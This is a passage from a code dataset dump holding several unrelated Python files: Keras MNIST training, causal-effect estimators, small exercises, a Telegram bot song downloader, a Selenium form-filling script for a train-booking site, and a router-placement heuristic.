= np.array(data_test[:, 1:])\n n_samples_test = x_test.shape[0]\n y_train = np.array(data_train[:, 0])\n x_train = np.array(data_train[:, 1:])\n y_train = keras.utils.to_categorical(y_train, num_classes = 10)\n #y_all_pred = np.zeros((3, n_samples_test)).astype(np.int64)\n return x_train, y_train\n\ndef dynamicLoad(file_name = None, priNumber = 15):\n # check if first read\n file_size = getFileMemoryInfo(file_name)\n with open(file_name, \"r\") as df:\n ava_mem = getSysAvailableMemory()\n #ava_mem = sys_mem()\n if os.path.exists(\"./checkpoints/datacheckpoint.txt\") == True:\n lastpoint = lastpointLoad()\n if lastpoint < file_size: \n left_data_size = file_size - lastpoint\n df.seek(lastpoint, 0)\n if left_data_size < ava_mem:\n reader = df.readlines()\n Lines = [line.strip().split(\",\") for line in reader[1:]]\n del reader\n data_train = np.array(Lines)\n del Lines\n aggsize = left_data_size + lastpoint # 目前讀取總共佔檔案大小\n lastpointStore(file_name, aggsize)\n del aggsize\n # return train data and test data\n return data_train\n\n elif left_data_size >= ava_mem:\n reader = df.readlines(ava_mem) # read specific data size\n Lines = [line.strip().split(\",\") for line in reader[1:]]\n del reader\n data_train = np.array(Lines)\n del Lines\n aggsize = ava_mem + lastpoint # 目前讀取總共佔檔案大小\n lastpointStore(file_name, aggsize) # store last data size to file\n del aggsize\n return data_train\n else:\n raise EOFError\n elif os.path.exists(\"./checkpoints/datacheckpoint.txt\") == False:\n if file_size < ava_mem: # 若檔案大小小於系統資源大小\n reader = df.readlines()\n Lines = [line.strip().split(\",\") for line in reader[1:]]\n del reader\n data_train = np.array(Lines)\n del Lines\n aggsize = file_size\n lastpointStore(file_name, aggsize)\n del aggsize\n return data_train\n \n elif file_size >= ava_mem: # 若檔案大小等於系統資源大小\n reader = df.readlines(ava_mem) # read specific data size\n Lines = [line.strip().split(\",\") for line in reader[1:]]\n del reader\n data_train = np.array(Lines)\n del Lines\n aggsize = ava_mem\n lastpointStore(file_name, aggsize)\n del aggsize\n return data_train\n\ndef weightSaver(model, fileName = \"./checkpoints/checkpoints\", platformUsed = \"T\"):\n # used keras as backend\n # save to json file\n # save to hd5\n if platformUsed == \"K\":\n model.save(fileName + \".h5\")\n #print(\"Saved to disk!\")\n # remove read checkpoint\n #os.remove(\"read_checkpoints.txt\")\n print(\"Model Save!\")\n \n elif platformUsed == \"T\":\n sess = tf.Session()\n saver = tf.train.Saver()\n saver.save(sess, fileName)\n # remove read checkpoint\n #os.remove(\"read_checkpoints.txt\")\n\ndef weightLoader(fileName = \"./checkpoints/checkpoints\", platformUsed = \"T\"):\n # used tensorFlow as backend\n # load json file\n # load hd5\n if platformUsed == \"K\":\n print(\"load model\")\n model = load_model(fileName + \".h5\")\n return model\n \n elif platformUsed == \"T\":\n sess = tf.Session()\n saver = tf.train.Saver()\n saver.restore(sess, fileName)\n\ndef modelTrain(x_train, y_train, checkfile = None):\n if os.path.exists(checkfile + \".h5\") == True:\n # test model load function\n model = weightLoader(platformUsed=\"K\")\n model.compile(loss='categorical_crossentropy', optimizer=\"adam\", metrics=['accuracy'])\n model.fit(x_train, y_train, epochs=2, batch_size=64)\n # TODO: insert save module start\n os.remove(\"./checkpoints/checkpoints.h5\")\n weightSaver(model, platformUsed=\"K\")\n # TODO: insert save module end\n elif os.path.exists(checkfile + \".h5\") == False or checkfile == None:\n model = Sequential()\n model.add(Reshape(target_shape=(1, 28, 28), input_shape=(784,)))\n model.add(Conv2D(kernel_size=(3, 3), filters=6, padding=\"same\", data_format=\"channels_first\", kernel_initializer=\"uniform\", use_bias=False))\n model.add(MaxPooling2D(pool_size=(2, 2), data_format=\"channels_first\"))\n model.add(Conv2D(kernel_size=(5, 5), filters=16, padding=\"same\", data_format=\"channels_first\", kernel_initializer=\"uniform\", use_bias=False))\n model.add(MaxPooling2D(pool_size=(2, 2), data_format=\"channels_first\"))\n model.add(Conv2D(kernel_size=(5, 5), filters=120, padding=\"same\", data_format=\"channels_first\", kernel_initializer=\"uniform\", use_bias=False))\n model.add(Flatten())\n model.add(Dense(output_dim=120, activation='relu'))\n model.add(Dense(output_dim=120, activation='relu'))\n model.add(Dense(output_dim=10, activation='softmax'))\n\n adam = keras.optimizers.Adam(lr=0.0005, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\n\n model.compile(loss='categorical_crossentropy', optimizer=adam, metrics=['accuracy'])\n\n model.fit(x_train, y_train, epochs=1, batch_size=64)\n # TODO: insert save module start\n weightSaver(model, platformUsed=\"K\")\n # TODO: insert save module end\n\nif __name__ == \"__main__\":\n\tdata = dynamicLoad(\"mnist_train.csv\")\n\tx_train, y_train = DataTestPreprocess(data, \"mnist_test.csv\")\n\tmodelTrain(x_train, y_train, checkfile=\"./checkpoints/checkpoints\")\n\tsys.exit()\n\n\n\n\n\n\n","repo_name":"williamchangTW/GUI","sub_path":"20190318.py","file_name":"20190318.py","file_ext":"py","file_size_in_byte":8186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8298715432","text":"# -*- coding: utf-8 -*-\nimport numpy as np\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import LogisticRegression\n\nimport grf\n\ndef tau_mi(xmiss, w, y, m = 10, method = \"glm\"):\n \"\"\"ATE estimation via multiple imputation of incomplete covariates\n\n if method == \"glm\": computes DR, OLS and OLS with ps estimators on m imputed datasets and \n for every method, aggreggates the m estimations into one ATE estimator\n if method == \"grf\": computes DR with grf package on every imputed dataset and \n aggreggates the m estimations into one ATE estimator\"\"\"\n\n from sklearn.experimental import enable_iterative_imputer\n from sklearn.impute import IterativeImputer\n\n res_tau_dr = []\n res_tau_ols = []\n res_tau_ols_ps = []\n for i in range(m):\n imp = IterativeImputer(sample_posterior=True, random_state = i)\n ximp_mice = imp.fit_transform(xmiss)\n if method == \"glm\":\n ps_hat, y0_hat, y1_hat = get_ps_y01_hat(ximp_mice, w, y)\n res_tau_dr.append(tau_dr(y, w, y0_hat, y1_hat, ps_hat, method = method))\n res_tau_ols.append(tau_ols(ximp_mice, w, y))\n res_tau_ols_ps.append(tau_ols_ps(ximp_mice, w, y))\n else:\n print('method=',method, 'not implemented in \"tau_mi\"')\n res_tau_dr.append(tau_dr(y, w, confounders = ximp_mice, method = method))\n\n if method == \"glm\":\n return np.mean(res_tau_dr), np.mean(res_tau_ols), np.mean(res_tau_ols_ps)\n else:\n return np.mean(res_tau_dr), None, None\n\ndef tau_mia(xmiss, w, y):\n return None\n\ndef tau_grf(x, w, y):\n return None\n\n\ndef get_ps_y01_hat(zhat, w, y):\n # predict ps, y0 and y1 with LR\n # utils for method = 'glm'\n w = w.reshape((-1,))\n y = y.reshape((-1,))\n n,_ = zhat.shape\n lr = LogisticRegression(solver='lbfgs')\n lr.fit(zhat, w)\n ps_hat = lr.predict_proba(zhat)[:,1] \n\n lr = LinearRegression()\n lr.fit(zhat[np.equal(w, np.ones(n)),:], y[np.equal(w, np.ones(n))])\n y1_hat = lr.predict(zhat)\n \n lr = LinearRegression()\n lr.fit(zhat[np.equal(w, np.zeros(n)),:], y[np.equal(w, np.zeros(n))])\n y0_hat = lr.predict(zhat)\n\n y0_hat = y0_hat.reshape((-1,1))\n y1_hat = y1_hat.reshape((-1,1))\n return ps_hat, y0_hat, y1_hat\n\n\ndef tau_dr(y, w, y0_hat=None, y1_hat=None, ps_hat=None, confounders = None, method = \"glm\"):\n \"\"\"Doubly robust ATE estimation\n if method == \"glm\": provide fitted values y1_hat, y0_hat and ps_hat\n for the two response surfaces and the propensity scores respectively\n if method == \"grf\": no need to provide any fitted values but need to provide confounders matrix\"\"\"\n y = y.reshape((-1,))\n y0_hat = y0_hat.reshape((-1,))\n y1_hat = y1_hat.reshape((-1,))\n w = w.reshape((-1,))\n assert y0_hat.shape == y.shape\n assert y1_hat.shape == y.shape\n assert w.shape == y.shape\n\n if method == \"glm\":\n tau_i = y1_hat - y0_hat + w*(y-y1_hat)/np.maximum(1e-12, ps_hat) -\\\n \t\t\t\t\t(1-w)*(y-y0_hat)/np.maximum(1e-12,(1-ps_hat))\n tau = np.mean(tau_i)\n elif method == \"grf\":\n \traise NotImplementedError(\"Causal forest estimation not implemented here yet.\")\n else:\n raise ValueError(\"'method' should be choosed between 'glm' and 'grf' in 'tau_dr', got %s\", method)\n return tau\n\n\ndef tau_ols(Z_hat, w, y):\n # ATE estimation via OLS regression \n\n assert w.shape == y.shape\n\n y = y.reshape((-1,))\n ZW = np.concatenate((Z_hat, w.reshape((-1,1))), axis=1)\n lr = LinearRegression()\n lr.fit(ZW, y)\n tau = lr.coef_[-1]\n\n return tau\n\n\ndef tau_ols_ps(zhat, w, y):\n # Difference with linear_tau: add estimated propensity \n # scores as additional predictor\n\n assert w.shape == y.shape\n w = w.reshape((-1,))\n y = y.reshape((-1,))\n lr = LogisticRegression(solver='lbfgs')\n lr.fit(zhat, w)\n ps_hat = lr.predict_proba(zhat)\n\n ZpsW = np.concatenate((zhat,ps_hat, w.reshape((-1,1))), axis=1)\n lr = LinearRegression()\n lr.fit(ZpsW, y)\n tau = lr.coef_[-1]\n\n return tau","repo_name":"TwsThomas/miss-vae","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"9819945497","text":"lst=[]\ncount=0\n\nfor i in range(5):\n value=int(input(\"점수를 입력하시오: \"))\n lst.append(value)\n\nprint(\"성적 평균=\", sum(lst)/len(lst))\nprint(\"최대 점수=\", max(lst))\nprint(\"최소 점수=\", min(lst))\n\nfor score in lst:\n if score>=80:\n count +=1\n\nprint(\"80점 이상=\", count)","repo_name":"tutoring-pythons/python-tutoring","sub_path":"gyeongeon/점수.py","file_name":"점수.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"24845061459","text":"import os\nfrom consts import *\nfrom AudioUtil import TextToSpeech, DownloadAudioFile\n\n\ndef isLangLoaded(lang: SUPPORTED_LANGS_TYPE_EXP) -> bool:\n '''\n isLangLoaded checks if a language is loaded\n\n ### Parameters\n ----------\n | Name | Type | Description |\n | :--- | :--- | :--- |\n | lang | SUPPORTED_LANGS_TYPE_EXP | The language to check |\n\n ----------\n ### Returns\n -------\n bool\n True if the language is loaded, False otherwise\n '''\n\n wd = os.getcwd()\n if(os.path.isdir(wd + \"\\\\audio_files\\\\\" + lang)):\n return True\n return False\n\ndef loadLang(lang: SUPPORTED_LANGS_TYPE_EXP) -> None:\n '''\n loadLang loads a language\n\n ### Parameters\n ----------\n | Name | Type | Description |\n | :--- | :--- | :--- |\n | lang | SUPPORTED_LANGS_TYPE_EXP | The language to load |\n\n ----------\n ### Returns\n -------\n None\n '''\n\n if(isLangLoaded(lang)):\n print(f\"Language {lang} already loaded\")\n return\n wd = os.getcwd() + \"\\\\audio_files\\\\\"\n os.mkdir(wd + lang)\n for key in LANG_TO_QWERTY_KEYS[lang]:\n print(f\"Downloading {key} audio file\")\n src = TextToSpeech(key, lang)\n if(key == \"ñ\"):\n key = \"nn\"\n DownloadAudioFile(src, key, wd + lang + \"\\\\\")\n return","repo_name":"IvanRomero03/blind-keyboard-practitioner","sub_path":"DownloadLang.py","file_name":"DownloadLang.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42154452878","text":"# 괄호\n\ncase = int(input())\nparenthesis = []\nfor _ in range(case):\n parenthesis.append(input())\n\nfor i in parenthesis:\n stack = []\n for j in i:\n if not stack:\n stack.append(j)\n else:\n if stack[-1] == '(' and j == ')':\n stack.pop()\n else:\n stack.append(j)\n print('YES') if not stack else print('NO')\n","repo_name":"FeelingXD/algorithm","sub_path":"beakjoon/9012.py","file_name":"9012.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"9689746713","text":"def check_images(dir_path):\n print('CHECK IMAGES:')\n sub_dirs = os.listdir(dir_path)\n for sub_dir_name in sub_dirs:\n sub_dir_path = os.path.join(dir_path, sub_dir_name)\n if not os.path.isdir(sub_dir_path): continue\n print(\"-\",sub_dir_name.upper())\n for file_name in tqdm(os.listdir(sub_dir_path)):\n file_path = os.path.join(sub_dir_path, file_name)\n\n if os.path.isfile(file_path):\n # Check if the file is an image (you can add more image formats if needed)\n if file_name.lower().endswith(('.jpg', '.jpeg', '.png')):\n try:\n with Image.open(file_path) as img:\n # if img.width < min_w or img.height < min_h:\n # raise Exception(f'Too small img of shape {img.width},{img.height}')\n cv2.imread(file_path, cv2.IMREAD_GRAYSCALE)\n img_bytes = tf.io.read_file(file_path)\n tf.io.decode_image(img_bytes)\n img.verify()\n except Exception as e:\n #os.remove(file_path)\n print(f'\\nDeleting {file_path} due to an error: {str(e)}')\n else:\n #os.remove(file_path)\n print(f'\\nSkipped {file_path} due to bad type {file_name.lower()}')","repo_name":"ColinHmrl/science-de-la-donnee","sub_path":"scripts/Livrable1/checkImage.py","file_name":"checkImage.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"71362021225","text":"# DevilHacker\n\nimport os\nimport aiohttp\nimport asyncio\nimport json\nimport sys\nimport time\nfrom youtubesearchpython import SearchVideos\nfrom pyrogram import filters, Client\nfrom yt_dlp import YoutubeDL\nfrom yt_dlp.utils import (\n ContentTooShortError,\n DownloadError,\n ExtractorError,\n GeoRestrictedError,\n MaxDownloadsReached,\n PostProcessingError,\n UnavailableVideoError,\n XAttrMetadataError,\n)\n\n\n@Client.on_message(filters.command(\"song\") & ~filters.edited)\nasync def song(client, message):\n cap = \"**💥 Søɳʛ 🎸 Uƥɭøɗɘɗ 💿 Ɓy✌\\n🔊 [ḊḕṼḭḶ 🇮🇳 ḦḀḉḲḕṙ 💞 ṀṳṠḭḉ](https://t.me/JaiHindChatting) 🌷 ...**\"\n url = message.text.split(None, 1)[1]\n rkp = await message.reply(\"**🔍 Sɘɑɤƈɦɩɳʛ ...**\")\n if not url:\n await rkp.edit(\"**💥 Ƥɭɘɑsɘ 💞 Ƥɤøⱱɩɗɘ 🔥 ƛ 🤞\\n🎸 Søɳʛ 🤟 Ɲɑɱɘ 🌷 ...**\")\n search = SearchVideos(url, offset=1, mode=\"json\", max_results=1)\n test = search.result()\n p = json.loads(test)\n q = p.get(\"search_result\")\n try:\n url = q[0][\"link\"]\n except BaseException:\n return await rkp.edit(\"**❌ Søɳʛ Ɲøʈ Føʋɳɗ ...**\")\n type = \"audio\"\n if type == \"audio\":\n opts = {\n \"format\": \"bestaudio\",\n \"addmetadata\": True,\n \"key\": \"FFmpegMetadata\",\n \"writethumbnail\": True,\n \"prefer_ffmpeg\": True,\n \"geo_bypass\": True,\n \"nocheckcertificate\": True,\n \"postprocessors\": [\n {\n \"key\": \"FFmpegExtractAudio\",\n \"preferredcodec\": \"mp3\",\n \"preferredquality\": \"320\",\n }\n ],\n \"outtmpl\": \"%(id)s.mp3\",\n \"quiet\": True,\n \"logtostderr\": False,\n }\n song = True\n try:\n await rkp.edit(\"**🔁 Ƥɤøƈɘssɩɳʛ ...**`\")\n with YoutubeDL(opts) as rip:\n rip_data = rip.extract_info(url)\n except DownloadError as DE:\n await rkp.edit(f\"`{str(DE)}`\")\n return\n except ContentTooShortError:\n await rkp.edit(\"`The download content was too short.`\")\n return\n except GeoRestrictedError:\n await rkp.edit(\n \"`Video is not available from your geographic location due to geographic restrictions imposed by a website.`\"\n )\n return\n except MaxDownloadsReached:\n await rkp.edit(\"`Max-downloads limit has been reached.`\")\n return\n except PostProcessingError:\n await rkp.edit(\"`There was an error during post processing.`\")\n return\n except UnavailableVideoError:\n await rkp.edit(\"`Media is not available in the requested format.`\")\n return\n except XAttrMetadataError as XAME:\n await rkp.edit(f\"`{XAME.code}: {XAME.msg}\\n{XAME.reason}`\")\n return\n except ExtractorError:\n await rkp.edit(\"`There was an error during info extraction.`\")\n return\n except Exception as e:\n await rkp.edit(f\"{str(type(e)): {str(e)}}\")\n return\n time.time()\n if song:\n await rkp.edit(\"**📤 Upɭøɑɗɩɳʛ ...**\"),\n lol = \"./etc/tg_vc_bot.jpg\"\n lel = await message.reply_audio(\n f\"{rip_data['id']}.mp3\",\n duration=int(rip_data[\"duration\"]),\n title=str(rip_data[\"title\"]),\n performer=str(rip_data[\"uploader\"]),\n thumb=lol,\n caption=cap)\n await rkp.delete()\n","repo_name":"RymOfficial/HackerMusic","sub_path":"handlers/song.py","file_name":"song.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"43262245984","text":"\"\"\"\r\nProgram to calculate and display a user's bonus based on sales.\r\nIf sales are under $1,000, the user gets a 10% bonus.\r\nIf sales are $1,000 or over, the bonus is 15%.\r\n\"\"\"\r\n\r\nsales = 1\r\nwhile float(sales) >=0:\r\n sales = float(input(\"Enter Sales Figure: $\"))\r\n if sales >= 1000:\r\n bonus = sales*0.15\r\n print (\"Your Bonus off Sales figures is: $\",bonus)\r\n elif sales < 1000 and sales > 0:\r\n bonus = sales * 0.1\r\n print (\"Your Bonus off Sales figures is: $\",bonus)\r\n else:\r\n print (\"Please Enter a Valid Number\")","repo_name":"BClark17/Uni-IT-Work","sub_path":"prac_01/sales_bonus.py","file_name":"sales_bonus.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8649499441","text":"\"\"\"\n============================\nAuthor:柠檬班-木森\nTime:2020/5/12 18:00\nE-mail:3247119728@qq.com\nCompany:湖南零檬信息技术有限公司\n============================\n\"\"\"\n\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\n\ndriver = webdriver.Chrome()\ndriver.implicitly_wait(30)\ndriver.get('https://www.12306.cn/index/')\n# 点击往返\ntime.sleep(1)\nWebDriverWait(driver, 10, 0.5).until(\n EC.element_to_be_clickable((By.XPATH, '//div[@class=\"search-tab-hd\"]//a[text()=\"往返\"]'))).click()\n\n# 输入起始地\nstart_addr = driver.find_element(By.ID, \"fromStationFanText\")\nstart_addr.click()\nstart_addr.send_keys('长沙')\ndriver.find_element(By.ID, \"citem_0\").click()\n# 输入终止地\ndriver.find_element(By.ID, \"toStationFanText\").send_keys('上海')\ndriver.find_element(By.ID, \"citem_0\").click()\n\n# 定位起始时间和终止时间输入框\nstart_date = driver.find_element_by_id('go_date')\nend_date = driver.find_element_by_id('from_date')\njs = \"\"\"\nvar s_ele = arguments[0];\nvar e_ele = arguments[1];\ns_ele.readonly = false;\ns_ele.value ='2020-05-15';\ne_ele.readonly=false;\ne_ele.value ='2020-07-15';\n\"\"\"\n\n# 输入起始时间和终止时间\nres = driver.execute_script(js, start_date, end_date)\n\n# 下滑到网页底部\ntime.sleep(3)\ndriver.find_element_by_id('index_ads').location_once_scrolled_into_view\n\ntime.sleep(10)\ndriver.quit()\n","repo_name":"huchaoyang1991/py27_web","sub_path":"web_08day(web自动化用例编写和PO模式)/task_07.py","file_name":"task_07.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14128370388","text":"#!/usr/local/bin/ python3\n# -*- coding:utf-8 -*-\n# __author__ = \"zenmeder\"\nfrom itertools import permutations\nimport random\n\nclass Solution(object):\n\tdef __init__(self, nums):\n\t\t\"\"\"\n\t\t:type nums: List[int]\n\t\t\"\"\"\n\t\tself.n = nums\n\t\tself.length = len(nums)\n\tdef reset(self):\n\t\t\"\"\"\n\t\tResets the array to its original configuration and return it.\n\t\t:rtype: List[int]\n\t\t\"\"\"\n\t\treturn self.n\n\n\tdef shuffle(self):\n\t\t\"\"\"\n\t\tReturns a random shuffling of the array.\n\t\t:rtype: List[int]\n\t\t\"\"\"\n\t\tnums = self.n[:] #type: list\n\t\tresult = []\n\t\tfor i in range(self.length):\n\t\t\tr = random.randrange(0, len(nums))\n\t\t\tresult.append(nums[r])\n\t\t\tdel nums[r]\n\t\treturn result\n\na = Solution([])\nprint(a.shuffle())\nprint(a.reset())\n","repo_name":"zenmeder/leetcode","sub_path":"384.py","file_name":"384.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"37407805305","text":"import random as rm\nimport utils\nimport numpy as np\nfrom classes import Data\nimport random\nfrom classes.PriorityDict import PriorityDict\n\nclass PrioritySolution:\n\t\"\"\"\n\tSoulution to the problem with a priprity ordered dictionary\n\t\"\"\"\n\n\tdef __init__(self,\n\t\t\t\t data : Data,\n\t\t\t\t initial_state,\n\t\t\t\t fitness_function,\n\t\t\t\t verbose=True\n\t\t\t\t ) -> None:\n\n\t\tself.data = data\n\t\tself.state = initial_state\n\t\tself.verbose = verbose\n\t\tself.fitness_function = fitness_function\n\t\tself.pri_dic = self.init_pri_dic(\n\t\t\tdata.building_matrix,\n\t\t\tinitial_state,\n\t\t\tdata.router_range\n\t\t)\n\n\t@staticmethod\n\tdef init_pri_dic(\n\t\t\tbuilding_matrix: np.array,\n\t\t\trouters_placement: np.array,\n\t\t\trouter_range: int\n\t) -> PriorityDict:\n\t\t\"\"\"\n\t\tInitialize the dictionary with the order on the values such that for each target cell of the matrix there is an entry in the dictionary\n\t\t\"\"\"\n\t\t# we want to add each cell of the grid and then update the coverage level\n\t\tpri_dict = PriorityDict()\n\n\t\t# add all the target coords to the priority dict\n\t\ttarget_coords = np.nonzero(building_matrix == \".\")\n\t\tfor (i, j) in zip(target_coords[0], target_coords[1]):\n\t\t\tpri_dict.add_element((i, j))\n\n\t\t# iterate the router and update the nearby cells\n\t\trouter_coords = routers_placement.nonzero()\n\t\tfor (i, j) in zip(router_coords[0], router_coords[1]): # for each router\n\n\t\t\t# filter points covered by walls and void cells\n\t\t\tpoints_covered_by_router = utils.filter_non_target_points(\n\t\t\t\tbuilding_matrix=building_matrix,\n\t\t\t\trouter_coords=(i, j),\n\t\t\t\tpoints=utils.get_points_around_router(\n\t\t\t\t\tmatrix=building_matrix,\n\t\t\t\t\trouter_coords=(i, j),\n\t\t\t\t\trouter_radius=router_range\n\t\t\t\t)\n\t\t\t)\n\n\t\t\tfor (x, y) in points_covered_by_router: # for each point (cell) covered by the router\n\t\t\t\tpri_dict.edit_element((x, y), 1)\n\n\t\tpri_dict.shuffle()\n\t\tpri_dict.order()\n\n\t\treturn pri_dict\n\n\t@staticmethod\n\tdef _update_neighbor(\n\t\t\tpri_dic: PriorityDict,\n\t\t\tbuilding_matrix: np.array,\n\t\t\trouter: tuple[int, int],\n\t\t\trouter_range: int,\n\t\t\tdelta: int\n\t):\n\t\t\"\"\"\n\t\tGiven a router position and a delta value, update the coverage value of all the cells covered by the router with the delta, the walls are taken into account\n\t\t:param router: tuple of two int, the position of the router\n\t\t:param delta: int, the delta to apply to the near cells\n\t\t\"\"\"\n\t\tx, y = router\n\n\t\tpoints_covered_by_router = utils.filter_non_target_points(\n\t\t\tbuilding_matrix=building_matrix,\n\t\t\trouter_coords=(x, y),\n\t\t\tpoints=utils.get_points_around_router(\n\t\t\t\tmatrix=building_matrix,\n\t\t\t\trouter_coords=(x, y),\n\t\t\t\trouter_radius=router_range\n\t\t\t)\n\t\t)\n\t\tfor (x, y) in points_covered_by_router: # for each point (cell) covered by the router\n\t\t\tpri_dic.edit_element((x, y), delta=delta) # edit the point\n\n\t@staticmethod\n\tdef _state_neighbor(\n\t\t\tpri_dic: PriorityDict,\n\t\t\tbuilding_matrix: np.array,\n\t\t\trouters_placement: np.array,\n\t\t\trouter_range: int,\n\t\t\tmove_type: str\n\t) -> np.array:\n\t\t\"\"\"\n\t\tGiven a move type, returns the new state in the solution space.\n\t\tIf the move is 'add' a new router will be add in the less covered cell,\n\t\tif the move is 'remove' the nearest router to the most covered cell will be removed\n\t\t:param move_type: string, the type of move to perform, if it is not supported, a random move will be performed\n\t\t:returns: np.array, the new state\n\t\t\"\"\"\n\n\t\tsupported_moves = [\"add\", \"remove\"]\n\t\tnew_state = np.copy(routers_placement)\n\n\t\tif move_type not in supported_moves:\n\t\t\tmove_type = random.choice(supported_moves)\n\n\t\tif move_type == \"add\": # add one router\n\t\t\twhile True:\n\t\t\t\tx, y = pri_dic.get_lower() # the cell with less coverage\n\t\t\t\tif routers_placement[x][y] == 0: # there is not another router in that cell\n\t\t\t\t\tnew_state[x][y] = 1\n\t\t\t\t\tbreak\n\n\t\t\t# we have to update the near cells\n\t\t\tPrioritySolution._update_neighbor(\n\t\t\t\tpri_dic=pri_dic,\n\t\t\t\tbuilding_matrix=building_matrix,\n\t\t\t\trouter=(x, y),\n\t\t\t\trouter_range=router_range,\n\t\t\t\tdelta=+1\n\t\t\t)\n\n\t\telif move_type == \"remove\": # remove one router\n\t\t\ttarget = pri_dic.get_higer() # the cell with most coverage\n\t\t\tto_remove = utils.get_nearest_router(cell=target, routers=routers_placement)\n\t\t\tx, y = to_remove\n\t\t\tnew_state[x][y] = 0\n\n\t\t\t# we have to update the near cells\n\t\t\tPrioritySolution._update_neighbor(\n\t\t\t\tpri_dic=pri_dic,\n\t\t\t\tbuilding_matrix=building_matrix,\n\t\t\t\trouter=(x, y),\n\t\t\t\trouter_range=router_range,\n\t\t\t\tdelta=-1\n\t\t\t)\n\t\telse:\n\t\t\tpass\n\n\t\treturn new_state\n\n\n\tdef run(\n\t\t\tself,\n\t\t\tnum_iterations : int = 50,\n\t\t\tevaluation_delay: int = 5\n\t) -> np.array:\n\n\t\t\"\"\"\"\n\t\trun the algorithm\n\n\t\t:param num_iterations: int, the number of iterations, note: if the solution is out of budget other iterations will be performed\n\t\t:param evaluation_delay: int, how often perform the fitness evaluation, the shuffling and reordering of the inner dict and the coverage evaluation, that are all computational intensive\n\n\n\t\treturns: the final configuration as a np.array\n\t\t\"\"\"\n\n\t\trm.seed(a=None, version=2)\n\n\t\tif self.verbose:\n\t\t\tprint(f\"evaluation step\")\n\t\tfitness, out_budget = self.fitness_function(self.state) # calculate fitness function and out of budget\n\t\tcoverage = utils.get_number_covered_cells(self.state, self.data.matrix, self.data.router_range) / self.data.target_area #calculate coverage\n\t\tself.pri_dic.shuffle() #shuffle priority dict\n\t\tself.pri_dic.order() #ordinate priority dict\n\t\tif self.verbose:\n\t\t\tprint(f\"out_budget: {out_budget}, coverage: {coverage}\")\n\n\t\ti=1\n\t\twhile num_iterations > 0 or out_budget:\n\t\t\tif self.verbose:\n\t\t\t\tprint(f\"Iteration {i},\", end=\" \")\n\n\t\t\tif(not out_budget) and (coverage == 1.0):\n\t\t\t\tif self.verbose:\n\t\t\t\t\tprint(\"end because full coverage\")\n\t\t\t\tbreak\n\n\t\t\tif out_budget:\n\t\t\t\tif self.verbose:\n\t\t\t\t\tprint(f\"move: remove\")\n\t\t\t\tself.state = self._state_neighbor(\n\t\t\t\t\tself.pri_dic,\n\t\t\t\t\tself.data.building_matrix,\n\t\t\t\t\tself.state,\n\t\t\t\t\tself.data.router_range,\n\t\t\t\t\tmove_type=\"remove\"\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\tif self.verbose:\n\t\t\t\t\tprint(f\"move: add\")\n\t\t\t\tself.state = self._state_neighbor(\n\t\t\t\t\tself.pri_dic,\n\t\t\t\t\tself.data.building_matrix,\n\t\t\t\t\tself.state,\n\t\t\t\t\tself.data.router_range,\n\t\t\t\t\tmove_type=\"add\"\n\t\t\t\t)\n\n\t\t\tif(i % evaluation_delay == 0) or out_budget:\n\n\t\t\t\tif self.verbose:\n\t\t\t\t\tprint(f\"evaluation step\")\n\t\t\t\tfitness, out_budget = self.fitness_function(self.state) # calculate fitness function and out of budget\n\t\t\t\tcoverage = utils.get_number_covered_cells(self.state, self.data.matrix, self.data.router_range) / self.data.target_area #calculate coverage\n\t\t\t\tself.pri_dic.shuffle() #shuffle priority dict\n\t\t\t\tself.pri_dic.order() #ordinate priority dict\n\t\t\t\tif self.verbose:\n\t\t\t\t\tprint(f\"out_budget: {out_budget}, coverage: {coverage}\")\n\n\t\t\ti+=1\n\t\t\tnum_iterations -= 1\n\n\t\treturn np.copy(self.state)","repo_name":"Hyperion2023/Router_Placement","sub_path":"classes/PrioritySoluton.py","file_name":"PrioritySoluton.py","file_ext":"py","file_size_in_byte":6642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"6179834813","text":"from __future__ import print_function\nimport sys\nimport numpy\nfrom scipy import stats\nfrom shutil import rmtree\nfrom operator import itemgetter\nimport os\n# Check for display capability for graphics\nplotflag = False\nhavedisplay = \"DISPLAY\" in os.environ\nif havedisplay:\n if os.environ['DISPLAY']: plotflag = True\nelse:\n try:\n from matplotlib import pyplot as plt\n fig = plt.figure()\n plt.close(fig)\n plotflag = True\n except:\n pass\n\n# If display is available, try loading matplotlib\nif plotflag:\n try:\n from matplotlib import pyplot as plt\n from matplotlib.ticker import MaxNLocator\n from matplotlib import rc as mplrc\n from .corner import corner\n except ImportError as exc:\n sys.stderr.write(\"Warning: failed to import matplotlib module. Plots will not be produced. ({})\".format(exc))\nelse:\n sys.stderr.write(\"Warning: Display capability is not available on your system. Plots will not be produced.\")\n\ntry:\n from collections import OrderedDict\nexcept ImportError:\n from .ordereddict import OrderedDict\n\nclass SampleSet(object):\n \"\"\" MATK SampleSet class - 